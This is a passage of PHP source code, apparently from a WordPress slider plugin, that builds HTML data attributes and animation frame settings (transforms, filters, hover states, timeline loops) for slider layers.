				if(empty($svg[$tag]) || $svg[$tag] === " ") unset($svg[$tag]);
			}
		}
		
		if(!empty($svg)){
			foreach($svg as $tag => $vals){
				if($svg_html !== '') $svg_html .= $this->ld().RS_T8;
				$svg_html .= 'data-'.$tag.'="';
				
				if(is_array($vals)){
					foreach($vals as $key => $val){
						$svg_html .= $key.':'.$val.';';
					}
				}else{
					$svg_html .= $vals;
				}
				
				$svg_html .= '"'."\n";
			}
		}
		
		return $svg_html;
	}
	
	/**
	 * get the html base_align
	 **/
	public function get_html_base_align(){
		$layer		= $this->get_layer();
		$base_align	= $this->get_val($layer, array('behavior', 'baseAlign'), 'grid');
		
		return ($base_align !== 'grid') ? 'data-basealign="'.$base_align.'"' : '';
	}
	
	/**
	 * get the html responsive offset
	 **/
	public function get_html_responsive_offset(){
		$layer = $this->get_layer();
		
		return ($this->get_val($layer, array('behavior', 'responsiveOffset'), true) === false) ? 'data-rsp_o="off"' : '';
	}
	
	/**
	 * get the html wrapper ids
	 **/
	public function get_html_wrapper_ids(){
		$layer		 = $this->get_layer();
		$wrapper_ids = $this->get_val($layer, array('attributes', 'wrapperId'));
		
		return ($wrapper_ids !== '') ? 'data-wrpid="'.$wrapper_ids.'"' : '';
	}
	
	/**
	 * get the html wrapper classes
	 **/
	public function get_html_wrapper_classes(){
		$layer = $this->get_layer();
		$class = $this->get_val($layer, array('attributes', 'wrapperClasses'));
		
		return ($class !== '') ? 'data-wrpcls="'.$class.'"' : '';
	}
	
	/**
	 * get the html layer responsive data
	 **/
	public function get_html_responsive_data(){
		$layer = $this->get_layer();
		$default = (in_array($this->get_val($layer, 'type', 'text'), array('row', 'column'), true)) ? false : true;
		
		return ($this->get_val($layer, array('behavior', 'autoResponsive'), $default) === false) ? 'data-rsp_bd="off"' : '';
	}

	/**
	 * get the html layer scroll based data
	 **/
	public function get_html_scrollbased_data(){
		$layer	= $this->get_layer();
		$html	= 'data-sba="';
		$sd		= $this->slider->get_param(array('scrolltimeline', 'set'), false);
		$se		= $this->slider->get_param(array('scrolleffects', 'set'), false);
		$s		= $this->get_val($layer, array('timeline', 'scrollBased'), 'default');
		$so		= $this->get_val($layer, array('timeline', 'scrollBasedOffset'), 0);
		$e		= $this->get_val($layer, array('effects', 'effect'), 'default');
		
		if($s !== 'default' && $sd === true){
			$html .= 't:';
			$html .= ($s == 'true') ? 'true' : 'false';
			$html .= ';';
		}
		
		if($e !== 'default' && $se === true){
			$html .= 'e:';
			$html .= ($e == 'true') ? 'true' : 'false';
			$html .= ';';
		}
		
		if(!in_array($so, array('0', 0, '0px'), true) && $sd === true){
			$html .= 'so:'.$so;
		}
		
		$html .='"';
		
		return ($html !== 'data-sba=""') ? $html : '';
	}

	
	/**
	 * get the html static layer data
	 * check if static layer and if yes, set values for it.
	 **/
	public function get_html_static_layer(){
		if(!$this->is_static) return '';
		
		$layer	= $this->get_layer();
		$html	= 'data-onslides="';
		
		if($this->slider->get_param('type') !== 'hero'){
			$s = intval($this->get_val($layer, array('timeline', 'static', 'start'), 1));
			$e = $this->get_val($layer, array('timeline', 'static', 'end'), 'last');
		}else{
			$s = '-1';
			$e = '-1';
		}
		
		//dont write if s is 0 and e ist the last slide
		$html .= ($s !== 0 && $s !== '') ? 's:'.$s.';' : '';
		$html .= ($e !== 'last') ? 'e:'.$e.';' : '';
		
		$html .= '"';
		
		return ($html !== 'data-onslides=""') ? $html : '';
	}
	
	/**
	 * get the html static layer data
	 * check if static layer and if yes, set values for it.
	 **/
	public function get_html_static_position_layer(){
		if(!$this->is_static) return '';
		
		$layer	= $this->get_layer();
		$static_slide = $this->get_static_slide();
		$html	= 'data-staticz="';
		
		$slp	= $static_slide->get_param(array('static', 'position'), 'front');
		$staticZ = $this->get_val($layer, array('position', 'staticZ'), $slp);
		$html .= ($staticZ !== $slp) ? $staticZ : '';
		
		$html .= '"';
		
		return ($html !== 'data-staticz=""') ? $html : '';
	}
	
	
	/**
	 * get the html layer trigger
	 **/
	public function get_html_trigger(){
		$layer			= $this->get_layer();
		$has_trigger	= $this->check_if_trigger_exists();
		$trigger_memory	= ($has_trigger) ? $this->get_val($layer, array('actions', 'triggerMemory'), 'reset') : 'keep';
		
		return ($has_trigger && $trigger_memory !== 'reset') ? 'data-triggercache="'.$trigger_memory.'"' : '';
	}
	
	/**
	 * init variables for get_frames
	 **/
	public function init_get_frames_vars(){
		
		$this->_base = array(
			'grayscale'	 => array('n' => 'gra', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('filter', 'grayscale')), //0
			'brightness' => array('n' => 'bri', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('filter', 'brightness')), //100
			'blur'		 => array('n' => 'blu', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('filter', 'blur')), //100
			'bGrayscale' => array('n' => 'bG', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'grayscale')), //0
			'bBrightness' => array('n' => 'bR', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('bfilter', 'brightness')), //100
			'bBlur'		 => array('n' => 'bB', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'blur')), //0
			'bInvert' => array('n' => 'bI', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'invert')), //0
			'bSepia'	=> array('n' => 'bS', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('bfilter', 'sepia')), //0
			'color'		 => array('n' => 'c', 'd' => 'inherit', 'depth' => array('color', 'color')), //'#ffffff'
			'backgroundColor' => array('n' => 'bgc', 'd' => 'inherit', 'depth' => array('bgcolor', 'backgroundColor')), //'transparent'
		
			//transform
			'x'			=> array('n' => 'x', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'x')), //0
			'y'			=> array('n' => 'y', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'y')), //0
			'z'			=> array('n' => 'z', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'z')), //0
			'scaleX'	=> array('n' => 'sX', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit'), 'depth' => array('transform', 'scaleX')), //0
			'scaleY'	=> array('n' => 'sY', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit'), 'depth' => array('transform', 'scaleY')), //0
			'opacity'	=> array('n' => 'o', 'd' => array('frame_0' => 0, 'frame_1' => 1, 'default' => 'inherit'), 'depth' => array('transform', 'opacity')), //1
			'rotationX'	=> array('n' => 'rX', 'd' => array('frame_0' => array(0, '0', '0deg', ''), 'frame_1' => array(0, '0', '0deg', ''), 'default' => 'inherit'), 'depth' => array('transform', 'rotationX')), //0
			'rotationY'	=> array('n' => 'rY', 'd' => array('frame_0' => array(0, '0', '0deg', ''), 'frame_1' => array(0, '0', '0deg', ''), 'default' => 'inherit'), 'depth' => array('transform', 'rotationY')), //0
			'rotationZ'	=> array('n' => 'rZ', 'd' => array('frame_0' => array(0, '0', '0deg', ''), 'frame_1' => array(0, '0', '0deg', ''), 'default' => 'inherit'), 'depth' => array('transform', 'rotationZ')), //0
			'skewX'		=> array('n' => 'skX', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'skewX')), //0
			'skewY'		=> array('n' => 'skY', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('transform', 'skewY')), //0
			'originX'	=> array('n' => 'oX', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit'), 'depth' => array('transform', 'originX')), //'50%'
			'originY'	=> array('n' => 'oY', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit'), 'depth' => array('transform', 'originY')), //'50%'
			'originZ'	=> array('n' => 'oZ', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit'), 'depth' => array('transform', 'originZ')), //'0'
			'transformPerspective' => array('n' => 'tp', 'd' => true, 'depth' => array('transform', 'transformPerspective')), //'600px'
			'clip' 		=> array('n' => 'cp', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('transform', 'clip')), //100
			'clipB' 	=> array('n' => 'cpb', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit'), 'depth' => array('transform', 'clipB')), //100
		
			//timeline
			'ease' => array('n' => 'e', 'd' => array('frame_0' => false, 'default' => 'power3.inOut'), 'depth' => array('timeline', 'ease')), //'power3.inOut'
			'start' => array('n' => 'st', 'd' => array('frame_0' => false, 'frame_1' => 10, 'default' => true), 'depth' => array('timeline', 'start')), //0
			'speed' => array('n' => 'sp', 'd' => array('frame_0' => false, 'default' => 300), 'depth' => array('timeline', 'speed')), //300
			'startRelative' => array('n' => 'sR', 'd' => 0, 'depth' => array('timeline', 'startRelative')) //0
		);
		
		$this->_split = array(
			'ease'		=> array('n' => 'e', 'd' => array('frame_0' => false, 'default' => 'inherit')),
			'direction'	=> array('n' => 'dir', 'd' => array('frame_0' => false, 'default' => 'forward')), //'forward'
			'delay'		=> array('n' => 'd', 'd' => array('default' => 5)), //5 //, 'default' => 5 // array('frame_0' => false, 'frame_1' => 5, 'frame_999' => 5)
			'x'			=> array('n' => 'x', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'y'			=> array('n' => 'y', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'z'			=> array('n' => 'z', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'scaleX'	=> array('n' => 'sX', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit')),
			'scaleY'	=> array('n' => 'sY', 'd' => array('frame_0' => 1, 'frame_1' => 1, 'default' => 'inherit')),
			'opacity'	=> array('n' => 'o', 'd' => 'inherit'),
			'rotationX'	=> array('n' => 'rX', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'rotationY'	=> array('n' => 'rY', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'rotationZ'	=> array('n' => 'rZ', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'skewX'		=> array('n' => 'skX', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'skewY'		=> array('n' => 'skY', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit')),
			'originX'	=> array('n' => 'oX', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit')), //'50%'
			'originY'	=> array('n' => 'oY', 'd' => array('frame_0' => '50%', 'frame_1' => '50%', 'default' => 'inherit')), //'50%'
			'originZ'	=> array('n' => 'oZ', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit')),
			'fuse'		=> array('n' => 'fuse', 'd' => array('default' => false)),
			'grayscale'	=> array('n' => 'gra', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit')), //0
			'brightness'=> array('n' => 'bri', 'd' => array('frame_0' => 100, 'frame_1' => 100, 'default' => 'inherit')), //100
			'blur'		=> array('n' => 'blu', 'd' => array('frame_0' => 0, 'frame_1' => 0, 'default' => 'inherit')) //100
		);
		
		$this->_mask = array(
			'x'	=> array('n' => 'x', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('mask', 'x')),
			'y' => array('n' => 'y', 'd' => array('frame_0' => array(0, '0', '0px', ''), 'frame_1' => array(0, '0', '0px', ''), 'default' => 'inherit'), 'depth' => array('mask', 'y'))
		);
		
		$this->_sfx = array(
			'effect' => array('n' => 'se', 'd' => '', 'depth' => array('sfx', 'effect')),
			'color'	 => array('n' => 'fxc', 'd' => '#ffffff', 'depth' => array('sfx', 'color'))
		);
		
		$this->_reverse = array(
			'x'				 => array('n' => 'x', 'd' => false, 'depth' => array('reverseDirection', 'x')),
			'y'				 => array('n' => 'y', 'd' => false, 'depth' => array('reverseDirection', 'y')),
			'rotationX'		 => array('n' => 'rX', 'd' => false, 'depth' => array('reverseDirection', 'rotationX')),
			'rotationY'		 => array('n' => 'rY', 'd' => false, 'depth' => array('reverseDirection', 'rotationY')),
			'rotationZ'		 => array('n' => 'rZ', 'd' => false, 'depth' => array('reverseDirection', 'rotationZ')),
			'skewX'			 => array('n' => 'sX', 'd' => false, 'depth' => array('reverseDirection', 'skewX')),
			'skewY' 		 => array('n' => 'sY', 'd' => false, 'depth' => array('reverseDirection', 'skewY')),
			'maskX' 		 => array('n' => 'mX', 'd' => false, 'depth' => array('reverseDirection', 'maskX')),
			'maskY' 		 => array('n' => 'mY', 'd' => false, 'depth' => array('reverseDirection', 'maskY')),
			'charsX'		 => array('n' => 'cX', 'd' => false, 'depth' => array('reverseDirection', 'charsX')),
			'charsY'		 => array('n' => 'cY', 'd' => false, 'depth' => array('reverseDirection', 'charsY')),
			'charsDirection' => array('n' => 'cD', 'd' => false, 'depth' => array('reverseDirection', 'charsDirection')),
			'wordsX'		 => array('n' => 'wX', 'd' => false, 'depth' => array('reverseDirection', 'wordsX')),
			'wordsY'		 => array('n' => 'wY', 'd' => false, 'depth' => array('reverseDirection', 'wordsY')),
			'wordsDirection' => array('n' => 'wD', 'd' => false, 'depth' => array('reverseDirection', 'wordsDirection')),
			'linesX'		 => array('n' => 'lX', 'd' => false, 'depth' => array('reverseDirection', 'linesX')),
			'linesY'		 => array('n' => 'lY', 'd' => false, 'depth' => array('reverseDirection', 'linesY')),
			'linesDirection' => array('n' => 'lD', 'd' => false, 'depth' => array('reverseDirection', 'linesDirection'))
		);
		
		$this->hv = array(
			'opacity'		=> array('n' => 'o', 'd' => 1),
			'scaleX'		=> array('n' => 'sX', 'd' => 1),
			'scaleY'		=> array('n' => 'sY', 'd' => 1),
			'skewX'			=> array('n' => 'skX', 'd' => 0),
			'skewY' 		=> array('n' => 'skY', 'd' => 0),
			'rotationX'		=> array('n' => 'rX', 'd' => 0),
			'rotationY'		=> array('n' => 'rY', 'd' => 0),
			'rotationZ'		=> array('n' => 'rZ', 'd' => 0),
			'x'				=> array('n' => 'x', 'd' => 0),
			'y'				=> array('n' => 'y', 'd' => 0),
			'z' 			=> array('n' => 'z', 'd' => 0),
			'color'			=> array('n' => 'c', 'd' => '#fff'),
			'backgroundColor' => array('n' => 'bgc', 'd' => 'transparent'),
			'gradientStyle' => array('n' => 'gs', 'd' => 'fading'),
			'borderColor'	=> array('n' => 'boc', 'd' => 'transparent'),
			'borderRadius'	=> array('n' => 'bor', 'd' => '0,0,0,0', 'depth' => array('borderRadius', 'v')), //check further as it is stored in v
			'borderStyle'	=> array('n' => 'bos', 'd' => 'none'),
			'borderWidth'	=> array('n' => 'bow', 'd' => '0,0,0,0'),
			'transformPerspective' => array('n' => 'tp', 'd' => '600'),
			'originX'		=> array('n' => 'oX', 'd' => '50%'),
			'originY'		=> array('n' => 'oY', 'd' => '50%'),
			'originZ'		=> array('n' => 'oZ', 'd' => '0'),
			'textDecoration'=> array('n' => 'td', 'd' => 'none'),
			'speed'			=> array('n' => 'sp', 'd' => 300),
			'ease'			=> array('n' => 'e', 'd' => 'power3.inOut'),
			'zIndex'		=> array('n' => 'zI', 'd' => 'auto'),
			'pointerEvents'	=> array('n' => 'pE', 'd' => 'auto'),
			'grayscale'		=> array('n' => 'gra', 'd' => 0, 'depth' => array('filter', 'grayscale')),
			'brightness'	=> array('n' => 'bri', 'd' => 100, 'depth' => array('filter', 'brightness')),
			'blur'			=> array('n' => 'blu', 'd' => 0, 'depth' => array('filter', 'blur')),
			'usehovermask'	=> array('n' => 'm', 'd' => false)
		);
	}
	
	/**
	 * get the finished layer frame object
	 **/
	public function get_frames(){
		$layer	 = $this->get_layer();
		$type	 = $this->get_val($layer, 'type', 'text');
		$frames	 = $this->get_val($layer, array('timeline', 'frames'), false);
		$_frames = array();

		/**
		 * frame_0
		 * inherit || default -> ignore/dont write
		 *
		 * frame_1
		 * default -> ignore/dont write
		 *
		 * frame_2 - frame_999
		 * default -> ignore/dont write
		 **/

		if(!empty($frames)){
			foreach($frames as $fk => $frame){
				$_frames[$fk] = array('base' => array());
				$split	= array();
				$mask	= false;
				$push	= array();

				/**
				 * push the normal values of a frame
				 **/
				$use = array(
					//transform
					'x' => $this->_base['x'],
					'y' => $this->_base['y'],
					'z' => $this->_base['z'],
					'scaleX' => $this->_base['scaleX'],
					'scaleY' => $this->_base['scaleY'],
					'opacity' => $this->_base['opacity'],
					'rotationX' => $this->_base['rotationX'],
					'rotationY' => $this->_base['rotationY'],
					'rotationZ' => $this->_base['rotationZ'],
					'skewX' => $this->_base['skewX'],
					'skewY' => $this->_base['skewY'],
					'originX' => $this->_base['originX'],
					'originY' => $this->_base['originY'],
					'originZ' => $this->_base['originZ'],
					'transformPerspective' => $this->_base['transformPerspective'],

					//timeline
					'ease' => $this->_base['ease'],
					'start' => $this->_base['start'],
					'speed' => $this->_base['speed'],
					'startRelative' => $this->_base['startRelative']
				);



				if($this->get_val($frame, array('filter', 'use')) === true){
					$use['grayscale']	= $this->_base['grayscale'];
					$use['brightness']	= $this->_base['brightness'];
					$use['blur']		= $this->_base['blur'];
				}

				if($this->get_val($frame, array('bfilter', 'use')) === true){
					$use['bGrayscale']	= $this->_base['bGrayscale'];
					$use['bBrightness']	= $this->_base['bBrightness'];
					$use['bBlur']		= $this->_base['bBlur'];
					$use['bInvert']	= $this->_base['bInvert'];
					$use['bSepia']		= $this->_base['bSepia'];
				}

				if($this->get_val($frame, array('color', 'use')) === true){
					$use['color'] = $this->_base['color'];
				}
				if($this->get_val($frame, array('bgcolor', 'use')) === true){
					$use['backgroundColor'] = $this->_base['backgroundColor'];
				}
				if($this->get_val($layer, array('timeline', 'clipPath', 'use')) === true){
					$use['clip'] = $this->_base['clip'];
					$use['clipB'] = $this->_base['clipB'];
				}
				

				

				foreach($use as $key => $v){
					$_key = (isset($v['depth'])) ? $v['depth'] : $key;

					if(is_array($v['d'])){
						$a = (isset($v['d'][$fk])) ? $v['d'][$fk] : $v['d']['default'];
						if($a === false) continue; //if false, ignore the value
					}else{
						$a = $v['d'];
					}
					$nv = $this->get_val($frame, $_key, $a);

					if($_key === 'ease' || (is_array($_key) && in_array('ease', $_key, true))){
						$this->easings[$nv] = $nv;
					}

					if(is_object($nv) || is_array($nv)){
						if($this->adv_resp_sizes == true){
							$b = (!is_array($a)) ? array($a) : $a;
							$nv = $this->normalize_device_settings($nv, $this->enabled_sizes, 'html-array', $b);
						}else{
							$nv = $this->get_biggest_device_setting($nv, $this->enabled_sizes);
						}
					}else{
						// need to process colors here
						// frame colors are always only one level
						if($key === 'color' || $key === 'backgroundColor'){
							$nv = RSColorpicker::get($nv);
						}
					}

					if($fk === 'frame_0' && $nv === 'inherit') continue; //inherit is ignored in frame_0

					if(is_array($nv)) $nv = implode(',', $nv);

					if(is_array($a)){
						if(!in_array($nv, $a, true)){
							$_frames[$fk]['base'][$v['n']] = $this->transform_frame_vals($nv);
						}
					}else{
						if((string)$nv !== (string)$a){
							$_frames[$fk]['base'][$v['n']] = $this->transform_frame_vals($nv);
						}
					}
				}

				/**
				 * check if we have to add split
				 **/
				if($this->get_val($frame, array('chars', 'use')) === true) $split[] = 'chars';
				if($this->get_val($frame, array('words', 'use')) === true) $split[] = 'words';
				if($this->get_val($frame, array('lines', 'use')) === true) $split[] = 'lines';

				if(!empty($split)){
					foreach($split as $splt){
						$push[$splt] = array(
							'ease'		=> $this->_split['ease'],
							'direction'	=> $this->_split['direction'],
							'delay'		=> $this->_split['delay'],
							'x'			=> $this->_split['x'],
							'y'			=> $this->_split['y'],
							'z'			=> $this->_split['z'],
							'scaleX'	=> $this->_split['scaleX'],
							'scaleY'	=> $this->_split['scaleY'],
							'opacity'	=> $this->_split['opacity'],
							'rotationX'	=> $this->_split['rotationX'],
							'rotationY'	=> $this->_split['rotationY'],
							'rotationZ'	=> $this->_split['rotationZ'],
							'skewX'		=> $this->_split['skewX'],
							'skewY'		=> $this->_split['skewY'],
							'originX'	=> $this->_split['originX'],
							'originY'	=> $this->_split['originY'],
							'originZ'	=> $this->_split['originZ'],
						);

						if($this->get_val($frame, array($splt, 'fuse'), false) === true){
							$push[$splt]['fuse']		= $this->_split['fuse'];
							$push[$splt]['grayscale']	= $this->_split['grayscale'];
							$push[$splt]['brightness']	= $this->_split['brightness'];
							$push[$splt]['blur']		= $this->_split['blur'];
						}

						foreach($push[$splt] as $k => $v){
							$push[$splt][$k]['depth'] = array($splt, $k);
						}
					}
				}

				/**
				 * check if we have to add mask
				 **/
				if($this->get_val($frame, array('mask', 'use')) === true){
					$push['mask'] = array(
						'u' => 't', //will set always u:t; as we need it
						'x'	=> $this->_mask['x'],
						'y' => $this->_mask['y']
					);
				}

				/**
				 * check if we have to add effect
				 **/
				if(!in_array($this->get_val($frame, array('sfx', 'effect')), array('', 'none'), true)){
					$push['sfx'] = array(
						'effect' => $this->_sfx['effect'],
						'color'	 => $this->_sfx['color']
					);
				}

				/**
				 * check if we have to add reverse
				 **/
				if($fk === 'frame_0' || $fk === 'frame_999'){
					$push['reverse'] = array(
						'x' => $this->_reverse['x'],
						'y' => $this->_reverse['y'],
						'rotationX' => $this->_reverse['rotationX'],
						'rotationY' => $this->_reverse['rotationY'],
						'rotationZ' => $this->_reverse['rotationZ'],
						'skewX'	 => $this->_reverse['skewX'],
						'skewY'  => $this->_reverse['skewY'],
						'maskX'  => $this->_reverse['maskX'],
						'maskY'  => $this->_reverse['maskY'],
						'charsX' => $this->_reverse['charsX'],
						'charsY' => $this->_reverse['charsY'],
						'charsDirection' => $this->_reverse['charsDirection'],
						'wordsX' => $this->_reverse['wordsX'],
						'wordsY' => $this->_reverse['wordsY'],
						'wordsDirection' => $this->_reverse['wordsDirection'],
						'linesX' => $this->_reverse['linesX'],
						'linesY' => $this->_reverse['linesY'],
						'linesDirection' => $this->_reverse['linesDirection']
					);
				}

				if(!empty($push)){
					foreach($push as $zone => $values){
						foreach($values as $key => $v){
							if(is_string($v)){
								$_frames[$fk][$zone][$key] = $v;
							}else{
								$_key = (isset($v['depth'])) ? $v['depth'] : $key;
								if(!isset($_frames[$fk][$zone])) $_frames[$fk][$zone] = array();
								if(is_array($v['d'])){
									$a = (isset($v['d'][$fk])) ? $v['d'][$fk] : $v['d']['default'];
									if($a === false) continue; //if false, ignore the value
								}else{
									$a = $v['d'];
								}

								$nv = $this->get_val($frame, $_key, $a);

								if($_key === 'ease' || (is_array($_key) && in_array('ease', $_key, true))){
									$this->easings[$nv] = $nv;
								}

								if(is_object($nv) || is_array($nv)){
									if($this->adv_resp_sizes == true){
										$b = (!is_array($a)) ? array($a) : $a;
										$nv = $this->normalize_device_settings($nv, $this->enabled_sizes, 'html-array', $b);
									}else{
										$nv = $this->get_biggest_device_setting($nv, $this->enabled_sizes);
									}
								}

								if(is_array($nv)) $nv = implode(',', $nv);

								if(isset($_key[1]) && $_key[1] === 'delay'){
									$_frames[$fk][$zone][$v['n']] = $this->transform_frame_vals($nv);
								}else{
									if(is_array($a)){
										if(!in_array($nv, $a, true)){
											$_frames[$fk][$zone][$v['n']] = $this->transform_frame_vals($nv);
										}
									}else{
										if((string)$nv !== (string)$a){
											$_frames[$fk][$zone][$v['n']] = $this->transform_frame_vals($nv);
										}
									}
								}
							}
						}
					}
				}
			}
		}

		/**
		 * check if we have to add hover frame
		 **/
		if($this->get_val($layer, array('hover', 'usehover'), false) === true || $this->get_val($layer, array('hover', 'usehover'), false) === 'true' || $this->get_val($layer, array('hover', 'usehover'), false) === 'desktop'){
			$_frames['frame_hover'] = array('base' => array());

			$idle_v = $this->get_val($layer, 'idle', array());
			$hover_v = $this->get_val($layer, 'hover', array());

			$hv = $this->hv;
			if ($this->get_val($layer, array('hover', 'usehover'), false) === 'desktop') $hv['instantClick'] = array('n' => 'iC', 'd' => 'true');

			$devices = array('d', 'n', 't', 'm');

			foreach($hv as $key => $v){
				$_key = (isset($v['depth'])) ? $v['depth'] : $key;
				$nv = $this->get_val($hover_v, $_key, $v['d']);

				if($_key === 'ease') $this->easings[$nv] = $nv;

				if(is_object($nv) || is_array($nv)){

					// (all?) hover styles in the admin are currently global for all devices
					// this solves an issue with borderWidth and borderRadius hovers (which have a "top/right/bottom/left" array)
					foreach($devices as $device){
						$devices_exist = $this->get_val($nv, $device);
						if($devices_exist) break;
					}
					if($devices_exist){
						if($this->adv_resp_sizes == true){
							$nv = $this->normalize_device_settings($nv, $this->enabled_sizes, 'html-array', array($v['d']));
						}else{
							$nv = $this->get_biggest_device_setting($nv, $this->enabled_sizes);
						}
					}
				}

				/*
					Hover values need to be compared to Idle values in order to print correctly
					Example case:
						1. Idle Color = red
						2. Hover Color = #ffffff
					Result: 
						Hover Color will not print because it equals the Hover Color default (#ffffff),
						.. and because it wasn't printed it will not animate
				*/
				$hover = $nv;
				$idle = $this->get_val($idle_v, $_key, $v['d']);
				if(is_object($idle) || is_array($idle)){
					$devices_exist = false;
					foreach($devices as $device){
						$devices_exist = $this->get_val($idle, $device);
						if($devices_exist) break;
					}
					if($devices_exist){
						if($this->adv_resp_sizes == true){
							$idle = $this->normalize_device_settings($idle, $this->enabled_sizes, 'html-array', array($v['d']));
						}else{
							$idle = $this->get_biggest_device_setting($idle, $this->enabled_sizes);
						}
					}
				}

				// sanitize values for comparison
				$lowkey = strtolower($key);
				if(strpos($lowkey, 'color') !== false){
					$hover = RSColorpicker::normalizeColors($hover);
					$idle = RSColorpicker::normalizeColors($idle);

					// this is important in case the color is a gradient
					// .. "normalizeColors" also converts JSON string value to printable CSS gradient
					$nv = $hover;
				}else{
					// sometimes a value can exist as "10" or "10px" (also strips "ms", "%" and "deg" for comparison), 
					// so this new function gets the raw number so they can be compared accurately
					$hover = $this->strip_suffix($hover);
					$idle = $this->strip_suffix($idle);
				}

				// convert hover value to arrays if needed so they can be compared
				if(is_array($idle)){
					if(!is_array($hover)){
						$hover = array($hover);
						for($i = 1; $i < count($idle); $i++){
							$hover[] = $hover[0];
						}
					}else{
						while(count($hover) < count($idle)){
							$hover[] = $hover[count($hover) - 1];
						}
					}

				}

				// If iC (instanc Click) is available, we must write it ! 
				if($v['n'] === 'iC') $idle = 'false';

				if(is_array($hover)) $hover = implode(',', $hover);
				if(is_array($idle)) $idle = implode(',', $idle);
				if(is_array($nv)) $nv = implode(',', $nv);

				// if value doesn't equal default OR Hover value doesn't equal Idle
				if((string)$nv !== (string)$v['d'] || (string)$hover !== (string)($idle)){
					$_frames['frame_hover']['base'][$v['n']] = $this->transform_frame_vals($nv);
				}
			}

			//remove borders if styling is set to none
			if(!isset($_frames['frame_hover']['base']['bos']) || $_frames['frame_hover']['base']['bos'] === 'none'){
				if(isset($_frames['frame_hover']['base']['bow'])) unset($_frames['frame_hover']['base']['bow']);
				if(isset($_frames['frame_hover']['base']['boc'])) unset($_frames['frame_hover']['base']['boc']);
				if(isset($_frames['frame_hover']['base']['bos'])) unset($_frames['frame_hover']['base']['bos']);
			}
		}

		/**
		 * add tloop frame
		 * since 6.0
		 **/
		if($this->get_val($layer, array('timeline', 'tloop', 'use'), false) === true){
			$_frames['tloop'] = array('base' => array());
			$t_from		= $this->get_val($layer, array('timeline', 'tloop', 'from'), 'frame_1');
			$t_to		= $this->get_val($layer, array('timeline', 'tloop', 'to'), 'frame_999');
			$t_repeat	= $this->get_val($layer, array('timeline', 'tloop', 'repeat'), -1);
			$t_keep		= $this->get_val($layer, array('timeline', 'tloop', 'keep'), true);
			$t_child	= $this->get_val($layer, array('timeline', 'tloop', 'children'), true);
			if($t_from !== 'frame_1') $_frames['tloop']['base']['f'] = $t_from;
			if($t_to !== 'frame_999') $_frames['tloop']['base']['t'] = $t_to;
			if($t_keep === false) $_frames['tloop']['base']['k'] = 'false';
			if(!in_array($t_repeat, array(-1, '-1'))) $_frames['tloop']['base']['r'] = $t_repeat;
			if($t_child === false && in_array($this->get_val($layer, 'type', 'text'), array('group', 'row', 'column'), true)) $_frames['tloop']['base']['c'] = $t_child;

			if(empty($_frames['tloop']['base'])) $_frames['tloop']['base']['u'] = true; //if empty, set u to true so that frontend knows that it is set
		}

		/**
		 * Add modifications here
		 **/
		if(!empty($_frames)){
			//if endWidthSlide is true, set st to w
			$start_cache_999 = $this->get_val($_frames, array('frame_999', 'base', 'st'));
			if($this->get_val($frames, array('frame_999', 'timeline', 'endWithSlide'), false)){
				$_frames['frame_999']['base']['st'] = 'w';
			}

			$start_cache = array();

			$uid = $this->get_val($layer, 'uid');
			foreach($frames as $frame => $zone){
				$start_cache[$frame] = $this->get_val($_frames, array($frame, 'base', 'st'));

				$at = $this->get_val($zone, array('timeline', 'actionTriggered'), false);
				$trg = $this->layer_frame_triggered($uid, $frame);
